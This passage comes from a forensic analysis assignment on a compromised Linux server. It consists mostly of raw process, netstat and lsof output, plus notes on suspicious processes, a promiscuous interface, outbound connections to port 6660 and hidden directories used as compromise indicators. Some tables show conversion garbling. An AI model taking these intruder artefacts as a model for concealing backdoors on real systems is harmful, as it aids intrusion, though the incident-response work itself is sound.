<td>19368</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19369</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19370</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19371</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19372</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19373</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19374</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19375</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>19376</td>
<td>0</td>
<td>0.9</td>
<td>S</td>
<td>Jun-29</td>
<td>/usr/sbin/httpd -</td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>-</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19635</td>
<td>0</td>
<td>0.3</td>
<td>S</td>
<td>Jun-29</td>
<td>minilogd</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19678</td>
<td>0</td>
<td>0.1</td>
<td>T</td>
<td>Jun-29</td>
<td>/usr/bin/weit</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19685</td>
<td>0</td>
<td>0</td>
<td>S</td>
<td>Jun-29</td>
<td>popauth</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19686</td>
<td>0</td>
<td>0</td>
<td>S</td>
<td>Jun-29</td>
<td>[weit &lt;defunct&gt;]</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Table 7. Processes started on June 29, 2003

The lsmod.txt file was analysed to look at what kernel modules were loaded. A module that required further investigation was nls_iso8859-1.

The netstat-routes.txt file showed no added routes. The ifconfig.txt file did show the eth0 interface in promiscuous mode. This is a indication of a possible sniffer program.

Analysis of the proc-filelist.txt file provided little benefit. The command used was a directory listing using ls –al of the /proc filesystem. The command should have included the command switch for recursive listing of the /proc file system, the correct command is ‘ls –alR’. The second last command indicated the date the live response was completed and the final command was an MD5 checksum run on all of the *.txt files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

nfsd XXX.XXX.2.23 6660 .x
popauth weit minilogd .s sshd_config nls_iso8859-1
soundcore 6667 services

The date of interest is June 29, 2003 and paths to investigate from live response output are:

/tmp/.s
/.x
/usr/bin
/usr/sbin
/sbin
### Live response File listings

#### starttime.txt

Mon Jun 30 17:18:51 CST 2003

5:22pm up 7 days, 5:24, 4 users, load average: 0.16, 0.03, 0.01

<table>
<thead>
<tr>
<th>USER</th>
<th>TTY</th>
<th>FROM</th>
<th>LOGIN@</th>
<th>IDLE</th>
<th>JCPU</th>
<th>PCPU</th>
<th>WHAT</th>
</tr>
</thead>
<tbody>
<tr>
<td>userid1</td>
<td>pts/0</td>
<td>23Jun03 7days</td>
<td>0.00s</td>
<td>?</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr>
<td>userid1</td>
<td>pts/1</td>
<td>23Jun03 38:58</td>
<td>0.22s</td>
<td>0.00s</td>
<td>1s</td>
<td>&lt;defunct&gt;</td>
<td>-</td>
</tr>
<tr>
<td>userid1</td>
<td>pts/2</td>
<td>Fri 8am 4.00s</td>
<td>0.71s</td>
<td>0.01s</td>
<td>/mnt/cdrom/nc 1</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>userid1</td>
<td>pts/3</td>
<td>4:44pm 38:14</td>
<td>0.15s</td>
<td>0.07s</td>
<td>-bash</td>
<td>-</td>
<td></td>
</tr>
</tbody>
</table>

#### netsat-sockets.txt

Active Internet connections (servers and established)

<table>
<thead>
<tr>
<th>Proto</th>
<th>Recv-Q</th>
<th>Send-Q</th>
<th>Local Address</th>
<th>Foreign Address</th>
<th>State</th>
<th>PID/Program name</th>
</tr>
</thead>
<tbody>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1024</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>657/rpc.statd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:199</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8154/snmpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:80</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8125/httpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:6000</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>1066/X</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:18</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>19811/nfsd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:22</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>842/sshd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>127.0.0.1:25</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>916/sendmail: accept</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:443</td>
<td>0.0.0.0:*</td>
<td>LISTEN</td>
<td>8125/httpd</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:4149</td>
<td>192.168.1.120:1111</td>
<td>ESTABLISHED</td>
<td>29208/nc</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>1</td>
<td>192.168.2.15:4148</td>
<td>XXX.XXX.XXX.XXX:6660</td>
<td>SYN_SENT</td>
<td>19941/services</td>
</tr>
<tr>
<td>tcp</td>
<td>0</td>
<td>1</td>
<td>192.168.2.15:4147</td>
<td>XXX.XXX.XXX.XXX:6660</td>
<td>SYN_SENT</td>
<td>19936/services</td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1024</td>
<td>0.0.0.0:*</td>
<td>657/rpc.statd</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:1031</td>
<td>0.0.0.0:*</td>
<td>19936/services</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:161</td>
<td>0.0.0.0:*</td>
<td>8154/snmpd</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:3049</td>
<td>0.0.0.0:*</td>
<td>19685/popauth</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>192.168.2.15:123</td>
<td>0.0.0.0:*</td>
<td>790/ntpd</td>
<td></td>
</tr>
<tr>
<td>udp</td>
<td>0</td>
<td>0</td>
<td>127.0.0.1:123</td>
<td>0.0.0.0:*</td>
<td>790/ntpd</td>
<td></td>
</tr>
<tr>
<td>raw</td>
<td>0</td>
<td>0</td>
<td>0.0.0.0:6</td>
<td>0.0.0.0:*</td>
<td>7</td>
<td></td>
</tr>
</tbody>
</table>

Active UNIX domain sockets (servers and established)

<table>
<thead>
<tr>
<th>Proto</th>
<th>RefCnt</th>
<th>Flags</th>
<th>Type</th>
<th>State</th>
<th>I-Node</th>
<th>PID/Program name</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1638</td>
<td>935/gpm</td>
<td>/dev/gpmctl1</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>551280</td>
<td>19635/minilogd</td>
<td>/dev/log</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1704</td>
<td>1005/xfs</td>
<td>/tmp/.font-ux/fs7100</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2256</td>
<td>1192/artsd</td>
<td>/tmp/mcp-userid1/rl-04a8-3ef74460</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>1789</td>
<td>1066/X</td>
<td>/tmp/.X11-ux/0X0</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2158</td>
<td>1178/kdeinit: dcops</td>
<td>/tmp/.ICE-ux/dcpp178-1055392280</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2285</td>
<td>1210/kdeinit: ksmse</td>
<td>/tmp/.ICE-ux/1210</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2151</td>
<td>1175/kdeinit: Runni</td>
<td>/tmp/ksocket-kdeinitial-0</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>2182</td>
<td>1181/kdeinit: klaun</td>
<td>/tmp/ksocket-userid1/klaunherKdDBga_slave-socket</td>
</tr>
<tr>
<td>unix</td>
<td>2</td>
<td>ACC</td>
<td>STREAM</td>
<td>LISTENING</td>
<td>280021</td>
<td>6135/kdesud</td>
<td>/tmp/ksocket-userid1/kdeinitial/kdeinit:/0</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td></td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715235</td>
<td>1178/kdeinit: dcops</td>
<td>/tmp/.ICE-ux/dcpp178-1055392280</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td></td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715234</td>
<td>29110/cdrom</td>
<td>/tmp/ksocket-kdesud-0:0</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td></td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715234</td>
<td>29110/cdrom</td>
<td>/tmp/.ICE-ux/dcpp178-1055392280</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td></td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715233</td>
<td>1210/kdeinit: ksmse</td>
<td>/tmp/.ICE-ux/1210</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td></td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715230</td>
<td>29110/cdrom</td>
<td>/tmp/.ICE-ux/1210</td>
</tr>
<tr>
<td>unix</td>
<td>3</td>
<td></td>
<td>STREAM</td>
<td>CONNECTED</td>
<td>715226</td>
<td>1066/X</td>
<td>/tmp/.X11-ux/0X0</td>
</tr>
</tbody>
</table>
unix 3 [ ] STREAM CONNECTED 2310 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2305 1178/kdeinit: dcepts /tmp/.ICE-unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2304 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2294 1210/kdeinit: ksme /tmp/.ICE-unix/1210
unix 3 [ ] STREAM CONNECTED 2293 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2290 1066/X /tmp/X11-unix/X0
unix 3 [ ] STREAM CONNECTED 2289 1211/kdeinit: kwin
unix 3 [ ] STREAM CONNECTED 2280 1178/kdeinit: dcepts /tmp/.ICE-unix/dcop1178-1056392280
unix 3 [ ] STREAM CONNECTED 2279 1210/kdeinit: ksme
unix 3 [ ] STREAM CONNECTED 2276 1066/X /tmp/.X11
unix 3 [ ] STREAM CONNECTED 2275 1210/kdeinit: ksme
unix 3 [ ] STREAM CONNECTED 2274 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2267 1210/kdeinit: ksmse /tmp/ksocket-
useridl/kdeinit:0
unix 3 [ ] STREAM CONNECTED 2266 1208/kwrapper
unix 3 [ ] STREAM CONNECTED 2253 1066/X /tmp/.X11
unix 3 [ ] STREAM CONNECTED 2252 1175/kdeinit: Runnin
unix 3 [ ] STREAM CONNECTED 2250 1183/kdeinit: kded
unix 3 [ ] STREAM CONNECTED 2189 1178/kdeinit: dcops /tmp/.ICE-unix/dcop1178-
unix 3 [ ] STREAM CONNECTED 2188 1203/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2187 1210/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2176 1178/kdeinit: dcepts /tmp/.ICE- unix/dcop1178-
unix 3 [ ] STREAM CONNECTED 2175 1210/kdeinit: knoti
unix 3 [ ] STREAM CONNECTED 2168 1175/kdeinit: Runni
unix 3 [ ] STREAM CONNECTED 1801 1005/xfs /tmp/.font
unix 3 [ ] STREAM CONNECTED 2169 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2168 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 2167 1181/kdeinit: klaun
unix 3 [ ] STREAM CONNECTED 1800 1066/X /tmp/.X11
unix 3 [ ] STREAM CONNECTED 1794 1067:-0
unix 2 [ ] DGRAM 1714 1005/xfs
unix 2 [ ] DGRAM 1661 953/cri
unix 2 [ ] DGRAM 1621 916/sendma
unix 2 [ ] DGRAM 1548 875/xinetd
unix 2 [ ] DGRAM 1505 790/ntpd
unix 2 [ ] DGRAM 1264 770/apmd
unix 2 [ ] DGRAM 1124 657/rpc.statd

lsof.txt

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PID</th>
<th>USER</th>
<th>FD</th>
<th>TYPE</th>
<th>DEVICE</th>
<th>SIZE</th>
<th>NODE</th>
<th>NAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>ttxt</td>
<td>REG</td>
<td>3,5</td>
<td>26920</td>
<td>71775</td>
<td>/sbin/init</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>89547</td>
<td>63490</td>
<td>/lib/id-2.2.5.so</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>1401027</td>
<td>73730</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>init</td>
<td>1</td>
<td>root</td>
<td>10u</td>
<td>FIFO</td>
<td>3,5</td>
<td></td>
<td>15606</td>
<td>/dev/initctl</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>keventd</td>
<td>2</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>kapmd</td>
<td>3</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>kapmd</td>
<td>3</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>ksforirg</td>
<td>4</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>ksforirg</td>
<td>4</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>kswapd</td>
<td>5</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
<tr>
<td>bdflush</td>
<td>6</td>
<td>root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>1024</td>
<td>2</td>
<td>/</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4 Page 110

sshd 842 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
sshd 842 root 0u CHR 1,3 9637 /dev/null
sshd 842 root 1u CHR 1,3 9637 /dev/null
sshd 842 root 2u CHR 1,3 1508 /tmp -rssh (LISTEN)

xinetd 875 root cwd DIR 3,5 1024 2 /
xinetd 875 root rtd DIR 3,5 1024 2 /
xinetd 875 root txt DIR 3,2 15080 73730 /lib/i686/libc-2.2.5.so

sendmail 916 root cwd DIR 3,6 1024 34139 /var/spool/mqueue
sendmail 916 root rtd DIR 3,5 1024 2 /
sendmail 916 root txt DIR 3,2 451280 130657 /usr/sbin/sendmail.sendmail

xinetd 875 root 1r CHR 1,3 9637 /dev/null
xinetd 875 root 2r CHR 1,3 9637 /dev/null
xinetd 875 root 3r FIFO 0,5 1546 pipe
xinetd 875 root 4w FIFO 0,5 1546 pipe

sendmail 916 root 0r CHR 1,3 9637 /dev/null
sendmail 916 root 1w CHR 1,3 9637 /dev/null
sendmail 916 root 2w CHR 1,3 9637 /dev/null
sendmail 916 root 3u unix 0xc7ce65a0 1548 socket

sendmail 916 root 4w unix Oxc7ce65a0 1548 socket

sendmail 916 root 0r CHR 1,3 9637 /dev/null
sendmail 916 root 1w CHR 1,3 9637 /dev/null
sendmail 916 root 2w CHR 1,3 9637 /dev/null
sendmail 916 root 3u unix Oxc65538580 1621 socket

sendmail 916 root 4u IPv4 1622 TCP rhl-smtp (LISTEN)
gpm 935 root cwd DIR 3,5 1024 2 /
gpm 935 root rtd DIR 3,5 1024 2 /
gpm 935 root txt DIR 3,2 77303 130636 /usr/sbin/gpm
gpm 935 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so

gpm 935 root 0w CHR 5,1 8271 /dev/console
gpm 935 root 1u REG 3,6 4 38175 /var/run/gpmQOrm7H (deleted)
gpm 935 root 2u unix Oxc630a60 4 1538 /dev/gpmctl

cron 953 root cwm DIR 3,6 1024 40161 /var/spool
cron 953 root rtd DIR 3,5 1024 2 /
cron 953 root txt REG 3,2 23048 130682 /usr/sbin/cron
cron 953 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
cron 953 root mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
cron 953 root mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
cron 953 root mem REG 3,5 89424 63507 /lib/libnss-2.2.5.so
cron 953 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
Kevin Miller - Sans GCFA Assignment – v1.4

crond 953 root 1w FIFO 0,5 1657 pipe
    crond 953 root 2w FIFO 0,5 1658 pipe
    crond 953 root 3u REG 3,6 4 38176 /var/run/crond.pid
    crond 953 root 4u unix 0xc6b8b0c0 1661 socket
    xfs 1005 root cwd DIR 3,5 1024 2 /
    xfs 1005 root rtd DIR 3,5 1024 2 /
    xfs 1005 root txt REG 3,2 46117 63531 /lib/libnss_hisplus-2.2.5.so
    xfs 1005 root mem REG 3,5 89424 63507 /lib/nsssl-2.2.5.so
    xfs 1005 root 0u CHR 1,3 9637 /dev/null
    xfs 1005 root 1u CHR 1,3 9637 /dev/null
    xfs 1005 root 2u CHR 1,3 9637 /dev/null
    xfs 1005 root 3u REG 3,6 6 38177 /var/run/xfs.pid
    xfs 1005 root 4u unix 0xc6b8b5c0 16704 /tmp/.font-unix/fs7100
    xfs 1005 root 5u unix 0xc7817080 1714 socket
    xfs 1005 root 6u unix 0xc49a20c0 1801 /tmp/.font-unix/fs7100
    atd 1041 root cwd DIR 3,6 1024 56225 /var/spool/at
    atd 1041 root rtd DIR 3,5 1024 2 /
    atd 1041 root txt REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    atd 1041 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
    atd 1041 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    atd 1041 root 0u CHR 4,1 14414 /dev/tty1
    atd 1041 root 1u CHR 4,1 14414 /dev/tty1
    atd 1041 root 2u CHR 4,1 14414 /dev/tty1
    miniserv 1050 root cwd DIR 3,5 1024 2 /
    miniserv 1050 root rtd DIR 3,5 1024 2 /
    miniserv 1050 root txt REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1050 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
    miniserv 1050 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1050 root 0u CHR 4,2 14425 /dev/tty2
    miniserv 1050 root 1u CHR 4,2 14425 /dev/tty2
    miniserv 1050 root 2u CHR 4,2 14425 /dev/tty2
    miniserv 1051 root cwd DIR 3,5 1024 2 /
    miniserv 1051 root rtd DIR 3,5 1024 2 /
    miniserv 1051 root txt REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1051 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
    miniserv 1051 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1051 root 0u CHR 4,3 14436 /dev/tty3
    miniserv 1051 root 1u CHR 4,3 14436 /dev/tty3
    miniserv 1051 root 2u CHR 4,3 14436 /dev/tty3
    miniserv 1052 root cwd DIR 3,5 1024 2 /
    miniserv 1052 root rtd DIR 3,5 1024 2 /
    miniserv 1052 root txt REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1052 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
    miniserv 1052 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1052 root 0u CHR 4,4 14439 /dev/tty4
    miniserv 1052 root 1u CHR 4,4 14439 /dev/tty4
    miniserv 1052 root 2u CHR 4,4 14439 /dev/tty4
    miniserv 1053 root cwd DIR 3,5 1024 2 /
    miniserv 1053 root rtd DIR 3,5 1024 2 /
    miniserv 1053 root txt REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1053 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
    miniserv 1053 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1053 root 0u CHR 4,4 14439 /dev/tty4
    miniserv 1053 root 1u CHR 4,4 14439 /dev/tty4
    miniserv 1053 root 2u CHR 4,4 14439 /dev/tty4
    miniserv 1054 root cwd DIR 3,5 1024 2 /
    miniserv 1054 root rtd DIR 3,5 1024 2 /
    miniserv 1054 root txt REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1054 root mem REG 3,5 89547 63490 /lib/ld-2.2.5.so
    miniserv 1054 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
    miniserv 1054 root 0u CHR 4,5 14440 /dev/tty5
    miniserv 1054 root 1u CHR 4,5 14440 /dev/tty5
    miniserv 1054 root 2u CHR 4,5 14440 /dev/tty5
mingetty 1054  root  2u  CHR  4,5  14440  /dev/tty5
mingetty 1055  root  cwd  DIR  3,5  1024  2  /
mingetty 1055  root  rtd  DIR  3,5  1024  2  /
mingetty 1055  root  txt  REG  3,5  89547  63490  /lib/ld-2.2.5.so
mingetty 1055  root  mem  REG  3,5  141027  73730  /lib/i686/libc-2.2.5.so
mingetty 1055  root  0u  CHR  4,6  14441  /dev/tty6
mingetty 1055  root  1u  CHR  4,6  14441  /dev/tty6
mingetty 1055  root  2u  CHR  4,6  14441  /dev/tty6
kdm 1056  root  cwd  DIR  3,5  1024  2  /
kdm 1056  root  rtd  DIR  3,5  1024  2  /
kdm 1056  root  txt  REG  3,2  83400  33562  /usr/bin/kdm
kdm 1056  root  mem  REG  3,5  89547  63490  /lib/ld-2.2.5.so
kdm 1056  root  mem  REG  3,2  874476  16985  /usr/X11R6/lib/libX11.so.6.2
kdm 1056  root  mem  REG  3,5  35340  63567  /lib/libpam.so.0.75
kdm 1056  root  mem  REG  3,5  12102  63503  /lib/libdl-2.2.5.so
kdm 1056  root  mem  REG  3,5  68925  63535  /lib/libresolv-2.2.5.so
kdm 1056  root  mem  REG  3,5  1401027  73730  /lib/i686/libc-2.2.5.so
kdm 1056  root  0r  CHR  1,3  9637  /dev/null
kdm 1056  root  1w  CHR  1,3  9637  /dev/null
kdm 1056  root  2w  CHR  1,3  9637  /dev/null
kdm 1056  root  3u  REG  3,6  11174  /var/run/kdm.pid
kdm 1056  root  6u  FIFO  3,6  32135  /var/run/xdmctl/xdmctl
kdm 1056  root  7r  FIFO  0,5  32135  pipe
kdm 1056  root  8w  FIFO  0,5  32135  pipe
kdm 1056  root  9u  FIFO  3,6  32136  /var/run/xdmctl/xdmctl:0
X 1066  root  cwd  DIR  3,5  1024  2  /
X 1066  root  rtd  DIR  3,5  1024  2  /
X 1066  root  txt  REG  3,2  1602576  115035  /usr/X11R6/bin/XFree86
X 1066  root  mem  CHR  1,1  8215  /dev/mem
X 1066  root  mem  REG  3,5  89547  63490  /lib/ld-2.2.5.so
X 1066  root  mem  REG  3,5  59778  65358  /usr/lib/libz.so.1.1.3
X 1066  root  mem  REG  3,5  173359  73732  /lib/i686/libm-2.2.5.so
X 1066  root  mem  REG  3,5  35340  63567  /lib/libpam.so.0.75
X 1066  root  mem  REG  3,5  12102  63503  /lib/libdl-2.2.5.so
X 1066  root  mem  REG  3,5  12015  63568  /lib/libpam_misc.so.0.75
X 1066  root  mem  REG  3,5  45415  63523  /lib/libnss_files-2.2.5.so
X 1066  root  mem  REG  3,5  1401027  73730  /lib/i686/libc-2.2.5.so
X 1066  root  0w  REG  3,6  29736  12068  /var/log/XFree86.0.log
X 1066  root  1u  IPv4  1788  TCP *:x11 (LISTEN)
X 1066  root  2w  CHR  1,3  9637  /dev/null
X 1066  root  3u  unix  0xc7817580  1789  /tmp/.X11-unix/X0
X 1066  root  4u  unix  0xc73da580  280026  /tmp/.X11-unix/X0
X 1066  root  5u  unix  0xc2f62080  2481  /tmp/.X11-unix/X0
